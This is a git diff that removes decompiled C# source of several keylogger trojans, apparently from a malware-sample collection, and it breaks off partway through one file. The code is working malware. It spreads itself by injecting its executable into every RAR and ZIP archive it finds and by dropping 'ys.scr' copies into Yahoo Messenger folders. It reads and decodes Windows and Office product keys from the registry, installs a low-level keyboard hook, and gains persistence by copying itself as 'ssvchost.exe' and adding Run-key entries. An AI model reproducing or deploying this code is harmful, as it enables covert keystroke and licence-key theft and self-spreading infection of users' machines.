[DllImport("kernel32.dll", CharSet = CharSet.Auto)] - public static extern int GetShortPathName( - [MarshalAs(UnmanagedType.LPTStr)] string path, - [MarshalAs(UnmanagedType.LPTStr)] StringBuilder shortPath, - int shortPathLength); - - private static void Search(string pathName) - { - string[] files = Directory.GetFiles(pathName); - int index1 = 0; - while (index1 < files.Length) - { - string archiveToInject = files[index1]; - if (archiveToInject.Contains(".rar")) - RAR.RarStart(archiveToInject); - if (archiveToInject.Contains(".zip")) - RAR.RarStart(archiveToInject); - checked { ++index1; } - } - string[] directories = Directory.GetDirectories(pathName); - int index2 = 0; - while (index2 < directories.Length) - { - RAR.Search(directories[index2]); - checked { ++index2; } - } - } - - public static void Spread(string myExeName) - { - RAR._copiedExeName = myExeName; - string[] logicalDrives = Environment.GetLogicalDrives(); - int index = 0; - while (index < logicalDrives.Length) - { - RAR.Search(logicalDrives[index]); - checked { ++index; } - } - File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\temp48.txt"); - } - - public static void RarStart(string archiveToInject) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - string path1 = folderPath.Replace(folderPath.Substring(folderPath.IndexOf("\\")), string.Empty) + "\\"; - RAR._rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\WinRAR\\WinRAR.exe"; - if (!File.Exists(RAR._rarPath)) - return; - if (!File.Exists(Path.Combine(path1, RAR._copiedExeName))) - File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(path1, RAR._copiedExeName)); - StringBuilder shortPath1 = new StringBuilder((int) byte.MaxValue); - RAR.GetShortPathName(Path.Combine(path1, RAR._copiedExeName), shortPath1, shortPath1.Capacity); - string str1 = shortPath1.ToString(); - StringBuilder shortPath2 = new StringBuilder((int) byte.MaxValue); - RAR.GetShortPathName(archiveToInject, shortPath2, shortPath2.Capacity); - try - { - ProcessStartInfo startInfo = new ProcessStartInfo(); - string str2 = " a " + shortPath2.ToString() + " " + str1; - startInfo.FileName = RAR._rarPath; - startInfo.Arguments = str2; - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - Process.Start(startInfo); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/ResourceReader.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/ResourceReader.cs deleted file mode 100644 index a228cd8f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/ResourceReader.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.ResourceReader -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; - -namespace Roy -{ - [StandardModule] - internal sealed class ResourceReader - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - public static byte[] ReadResource(string filename) - { - IntPtr moduleHandle = ResourceReader.GetModuleHandle(ref filename); - IntPtr resource = ResourceReader.FindResource(moduleHandle, "0", "RT_RCDATA"); - IntPtr source = ResourceReader.LoadResource(moduleHandle, resource); - int length = ResourceReader.SizeofResource(moduleHandle, resource); - byte[] destination = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, destination, 0, length); - return destination; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/SQLiteBase.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/SQLiteBase.cs deleted file mode 100644 index a31b0d85..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/SQLiteBase.cs +++ /dev/null @@ -1,253 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.SQLiteBase -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System; -using System.Collections; -using System.Data; -using System.Runtime.InteropServices; -using System.Text; - -namespace Roy -{ - public class SQLiteBase - { - private const int SQL_OK = 0; - private const int SQL_ROW = 100; - private const int SQL_DONE = 101; - private IntPtr database; - - [DllImport("kernel32")] - private static extern IntPtr HeapAlloc(IntPtr heap, uint flags, uint bytes); - - [DllImport("kernel32")] - private static extern IntPtr GetProcessHeap(); - - [DllImport("kernel32")] - private static extern int lstrlen(IntPtr str); - - [DllImport("sqlite3")] - private static extern int sqlite3_open(IntPtr fileName, ref IntPtr database); - - [DllImport("sqlite3")] - private static extern int sqlite3_close(IntPtr database); - - [DllImport("sqlite3")] - private static extern int sqlite3_exec( - IntPtr database, - IntPtr query, - IntPtr callback, - IntPtr arguments, - ref IntPtr error); - - [DllImport("sqlite3")] - private static extern IntPtr sqlite3_errmsg(IntPtr database); - - [DllImport("sqlite3")] - private static extern int sqlite3_prepare_v2( - IntPtr database, - IntPtr query, - int length, - ref IntPtr statement, - ref IntPtr tail); - - [DllImport("sqlite3")] - private static extern int sqlite3_step(IntPtr statement); - - [DllImport("sqlite3")] - private static extern int sqlite3_column_count(IntPtr statement); - - [DllImport("sqlite3")] - private static extern IntPtr sqlite3_column_name(IntPtr statement, int columnNumber); - - [DllImport("sqlite3")] - private static extern int sqlite3_column_type(IntPtr statement, int columnNumber); - - [DllImport("sqlite3")] - private static extern int sqlite3_column_int(IntPtr statement, int columnNumber); - - [DllImport("sqlite3")] - private static extern double sqlite3_column_double(IntPtr statement, int columnNumber); - - [DllImport("sqlite3")] - private static extern IntPtr sqlite3_column_text(IntPtr statement, int columnNumber); - - [DllImport("sqlite3")] - private static extern IntPtr sqlite3_column_blob(IntPtr statement, int columnNumber); - - [DllImport("sqlite3")] - private static extern IntPtr sqlite3_column_table_name(IntPtr statement, int columnNumber); - - [DllImport("sqlite3")] - private static extern int sqlite3_finalize(IntPtr handle); - - public SQLiteBase() => this.database = IntPtr.Zero; - - public SQLiteBase(string baseName) => this.OpenDatabase(baseName); - - public void OpenDatabase(string baseName) - { - if (SQLiteBase.sqlite3_open(this.StringToPointer(baseName), ref this.database) != 0) - { - this.database = IntPtr.Zero; - throw new Exception("Error with opening database " + baseName + "!"); - } - } - - public void CloseDatabase() - { - if (!(this.database != IntPtr.Zero)) - return; - SQLiteBase.sqlite3_close(this.database); - } - - public ArrayList GetTables() - { - DataTable dataTable = this.ExecuteQuery("SELECT name FROM sqlite_master WHERE type IN ("); - ArrayList tables = new ArrayList(); - try - { - foreach (DataRow row in dataTable.Rows) - tables.Add((object) row.ItemArray[0].ToString()); - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - return tables; - } - - public void ExecuteNonQuery(string query) - { - IntPtr error; - SQLiteBase.sqlite3_exec(this.database, this.StringToPointer(query), IntPtr.Zero, IntPtr.Zero, ref error); - if (error != IntPtr.Zero) - throw new Exception("Error with executing non-query: \"" + query + "\"!\n" + this.PointerToString(SQLiteBase.sqlite3_errmsg(error))); - } - - public DataTable ExecuteQuery(string query) - { - IntPtr statement; - IntPtr tail; - SQLiteBase.sqlite3_prepare_v2(this.database, this.StringToPointer(query), this.GetPointerLenght(this.StringToPointer(query)), ref statement, ref tail); - DataTable table = new DataTable(); - int num = this.ReadFirstRow(statement, ref table); - while (num == 100) - num = this.ReadNextRow(statement, ref table); - SQLiteBase.sqlite3_finalize(statement); - return table; - } - - private int ReadFirstRow(IntPtr statement, ref DataTable table) - { - table = new DataTable("resultTable"); - if (SQLiteBase.sqlite3_step(statement) == 100) - { - int num1 = SQLiteBase.sqlite3_column_count(statement); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int columnNumber = 0; - while (columnNumber <= num2) - { - string columnName = this.PointerToString(SQLiteBase.sqlite3_column_name(statement, columnNumber)); - switch (SQLiteBase.sqlite3_column_type(statement, columnNumber)) - { - case 1: - table.Columns.Add(columnName, Type.GetType("System.Int32")); - objArray[columnNumber] = (object) SQLiteBase.sqlite3_column_int(statement, columnNumber); - break; - case 2: - table.Columns.Add(columnName, Type.GetType("System.Single")); - objArray[columnNumber] = (object) SQLiteBase.sqlite3_column_double(statement, columnNumber); - break; - case 3: - table.Columns.Add(columnName, Type.GetType("System.String")); - objArray[columnNumber] = (object) this.PointerToString(SQLiteBase.sqlite3_column_text(statement, columnNumber)); - break; - case 4: - table.Columns.Add(columnName, Type.GetType("System.String")); - objArray[columnNumber] = (object) this.PointerToString(SQLiteBase.sqlite3_column_blob(statement, columnNumber)); - break; - default: - table.Columns.Add(columnName, Type.GetType("System.String")); - objArray[columnNumber] = (object) ""; - break; - } - checked { ++columnNumber; } - } - table.Rows.Add(objArray); - } - return SQLiteBase.sqlite3_step(statement); - } - - private int ReadNextRow(IntPtr statement, ref DataTable table) - { - int num1 = SQLiteBase.sqlite3_column_count(statement); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int columnNumber = 0; - while (columnNumber <= num2) - { - switch (SQLiteBase.sqlite3_column_type(statement, columnNumber)) - { - case 1: - objArray[columnNumber] = (object) SQLiteBase.sqlite3_column_int(statement, columnNumber); - break; - case 2: - objArray[columnNumber] = (object) SQLiteBase.sqlite3_column_double(statement, columnNumber); - break; - case 3: - objArray[columnNumber] = (object) this.PointerToString(SQLiteBase.sqlite3_column_text(statement, columnNumber)); - break; - case 4: - objArray[columnNumber] = (object) this.PointerToString(SQLiteBase.sqlite3_column_blob(statement, columnNumber)); - break; - default: - objArray[columnNumber] = (object) ""; - break; - } - checked { ++columnNumber; } - } - table.Rows.Add(objArray); - return SQLiteBase.sqlite3_step(statement); - } - - private IntPtr StringToPointer(string str) - { - if (str == null) - return IntPtr.Zero; - byte[] bytes1 = Encoding.UTF8.GetBytes(str); - int bytes2 = checked (bytes1.Length + 1); - IntPtr pointer = SQLiteBase.HeapAlloc(SQLiteBase.GetProcessHeap(), 0U, checked ((uint) bytes2)); - Marshal.Copy(bytes1, 0, pointer, bytes1.Length); - Marshal.WriteByte(pointer, bytes1.Length, (byte) 0); - return pointer; - } - - private string PointerToString(IntPtr ptr) - { - if (ptr == IntPtr.Zero) - return (string) null; - Encoding utF8 = Encoding.UTF8; - int pointerLenght = this.GetPointerLenght(ptr); - byte[] numArray = new byte[checked (pointerLenght - 1 + 1)]; - Marshal.Copy(ptr, numArray, 0, pointerLenght); - return utF8.GetString(numArray, 0, pointerLenght); - } - - private int GetPointerLenght(IntPtr ptr) => ptr == IntPtr.Zero ? 0 : SQLiteBase.lstrlen(ptr); - - public enum SQLiteDataTypes - { - INT = 1, - FLOAT = 2, - TEXT = 3, - BLOB = 4, - NULL = 5, - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Trojan-Spy.MSIL.KeyLogger.ghj.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Trojan-Spy.MSIL.KeyLogger.ghj.csproj deleted file mode 100644 index d063d0a8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Trojan-Spy.MSIL.KeyLogger.ghj.csproj +++ /dev/null @@ -1,102 +0,0 @@ - - - - - Debug - AnyCPU - {A3A95296-E1B5-4600-A729-5004BDD9F9E0} - WinExe - Roy - 2.3.3.234 - Roy - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Trojan-Spy.MSIL.KeyLogger.ghj.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Trojan-Spy.MSIL.KeyLogger.ghj.sln deleted file mode 100644 index bd4b5643..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Trojan-Spy.MSIL.KeyLogger.ghj.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Roy", "Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.csproj", "{A3A95296-E1B5-4600-A729-5004BDD9F9E0}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {A3A95296-E1B5-4600-A729-5004BDD9F9E0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {A3A95296-E1B5-4600-A729-5004BDD9F9E0}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A3A95296-E1B5-4600-A729-5004BDD9F9E0}.Release|Any CPU.ActiveCfg = Release|Any CPU - {A3A95296-E1B5-4600-A729-5004BDD9F9E0}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/os.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/os.cs deleted file mode 100644 index 714bca78..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/os.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.os -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; - -namespace Roy -{ - internal class os - { - public static bool is64Bit() => Operators.CompareString(Environment.GetEnvironmentVariable("ProgramW6432"), "", false) != 0; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/xxx.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/xxx.cs deleted file mode 100644 index 2c32bf61..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/xxx.cs +++ /dev/null @@ -1,116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.xxx -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System.Collections; - -namespace Roy -{ - public class xxx - { - public static byte[] GetRegistryDigitalProductId(xxx.Key key) - { - byte[] digitalProductId1 = (byte[]) null; - RegistryKey registryKey = (RegistryKey) null; - switch (key) - { - case xxx.Key.XP: - registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false); - break; - case xxx.Key.Office11: - registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Office\\11.0\\Registration\\{90110409-6000-11D3-8CFE-0150048383C9}", false); - break; - case xxx.Key.Office12: - registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-002F-0000-0000-0000000FF1CE}", false); - break; - } - if (registryKey != null) - { - byte[] digitalProductId2 = registryKey.GetValue("DigitalProductId") as byte[]; - registryKey.Close(); - return digitalProductId2; - } - if (registryKey == null) - digitalProductId1 = (byte[]) null; - return digitalProductId1; - } - - public static string DecodeProductKey(byte[] digitalProductId) - { - if (digitalProductId == null) - return ""; - char[] chArray1 = new char[24] - { - 'B', - 'C', - 'D', - 'F', - 'G', - 'H', - 'J', - 'K', - 'M', - 'P', - 'Q', - 'R', - 'T', - 'V', - 'W', - 'X', - 'Y', - '2', - '3', - '4', - '6', - '7', - '8', - '9' - }; - char[] chArray2 = new char[29]; - ArrayList arrayList = new ArrayList(); - int index1 = 52; - do - { - arrayList.Add((object) digitalProductId[index1]); - checked { ++index1; } - } - while (index1 <= 67); - int index2 = 28; - do - { - if (checked (index2 + 1) % 6 == 0) - { - chArray2[index2] = '-'; - } - else - { - int index3 = 0; - int index4 = 14; - do - { - int num = index3 << 8 | (int) Conversions.ToByte(arrayList[index4]); - arrayList[index4] = (object) checked ((byte) unchecked (num / 24)); - index3 = num % 24; - chArray2[index2] = chArray1[index3]; - checked { index4 += -1; } - } - while (index4 >= 0); - } - checked { index2 += -1; } - } - while (index2 >= 0); - return new string(chArray2); - } - - public enum Key - { - XP, - Office11, - Office12, - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/yahoo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/yahoo.cs deleted file mode 100644 index fed34e20..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/yahoo.cs +++ /dev/null @@ -1,129 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.yahoo -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Reflection; -using System.Windows.Forms; - -namespace Roy -{ - [StandardModule] - internal sealed class yahoo - { - public static void yahoo_sp() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Module module = Assembly.GetExecutingAssembly().GetModules()[0]; -label_2: - num3 = 3; - string executablePath = Application.ExecutablePath; -label_3: - num3 = 4; - string str = "C:\\Documents and Settings\\" + Interaction.Environ("USERNAME") + "\\Local Settings\\Application Data\\Yahoo Messenger\\"; -label_4: - num3 = 5; - if (Operators.CompareString(FileSystem.Dir(str, FileAttribute.Directory), "", false) == 0) - goto label_20; -label_5: - num3 = 6; - int index = 0; -label_6: - num3 = 7; -label_7: - num3 = 8; - string[] directories = Directory.GetDirectories(str); -label_8: - num3 = 9; - int upperBound = directories.GetUpperBound(0); - index = 0; - goto label_13; -label_9: - num3 = 10; - if (Operators.CompareString(FileSystem.Dir(directories[index], FileAttribute.Directory), "", false) == 0) - goto label_12; -label_10: - num3 = 11; - if (File.Exists(directories[index] + "\\ys.scr")) - goto label_12; -label_11: - num3 = 12; - File.Copy(executablePath, directories[index] + "\\ys.scr"); -label_12: - num3 = 15; - checked { ++index; } -label_13: - if (index <= upperBound) - goto label_9; - else - goto label_20; -label_15: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - case 14: - case 15: - goto label_12; - case 16: - case 17: - goto label_20; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_15; - } - throw ProjectData.CreateProjectError(-2146828237); -label_20: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/AssemblyInfo.cs deleted file mode 100644 index f5f5bf29..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyTitle("kdc")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("kdc")] -[assembly: AssemblyCopyright("Copyright © 2011")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: Guid("716c5e8b-4504-4e25-8248-cee77fdc8b3c")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Program.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Program.cs deleted file mode 100644 index 83c1ae7d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7/Program.cs +++ /dev/null @@ -1,412 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: kdc.Program -// Assembly: Yahoo! Messenger, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: AFCC6025-0F9A-4445-832F-174A54B7329E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.irg-6baa508a91305f9d0ad54c4fb4ae9aec1b030d7d1490752c3d6ba9a4d21e21d7.exe - -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.InteropServices; -using System.Text; -using System.Timers; -using System.Windows.Forms; - -namespace kdc -{ - internal class Program - { - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback); - private static IntPtr _hookID = IntPtr.Zero; - public static string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "kdc.log"); - public static byte caps = 0; - public static byte shift = 0; - public static byte failed = 0; - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx( - int idHook, - Program.LowLevelKeyboardProc lpfn, - IntPtr hMod, - uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - IntPtr lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - public static void Main() - { - Program._hookID = Program.SetHook(Program._proc); - Program.startup(); - System.Timers.Timer timer1 = new System.Timers.Timer(); - timer1.Elapsed += new ElapsedEventHandler(Program.OnTimedEvent); - timer1.AutoReset = true; - timer1.Interval = 600000.0; - timer1.Start(); - System.Timers.Timer timer2 = new System.Timers.Timer(); - timer2.Elapsed += new ElapsedEventHandler(Program.USBSpread); - timer2.AutoReset = true; - timer2.Interval = 10000.0; - timer2.Start(); - Application.Run(); - GC.KeepAlive((object) timer1); - GC.KeepAlive((object) timer2); - Program.UnhookWindowsHookEx(Program._hookID); - } - - public static void startup() - { - string sourceFileName = Application.ExecutablePath.ToString(); - string destFileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ssvchost.exe"); - try - { - System.IO.File.Copy(sourceFileName, destFileName, true); - sourceFileName = destFileName; - } - catch - { - Console.WriteLine("Không có phép để sao chép tập tin hoặc các sai sót khác."); - } - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (registryKey.GetValue("avatar") == null) - registryKey.SetValue("avatar", (object) destFileName); - registryKey.Close(); - } - catch - { - Console.WriteLine("Error setting startup reg key."); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (registryKey.GetValue("avatar") == null) - registryKey.SetValue("avatar", (object) sourceFileName); - registryKey.Close(); - } - catch - { - Console.WriteLine("Error setting startup reg key for all users."); - } - } - 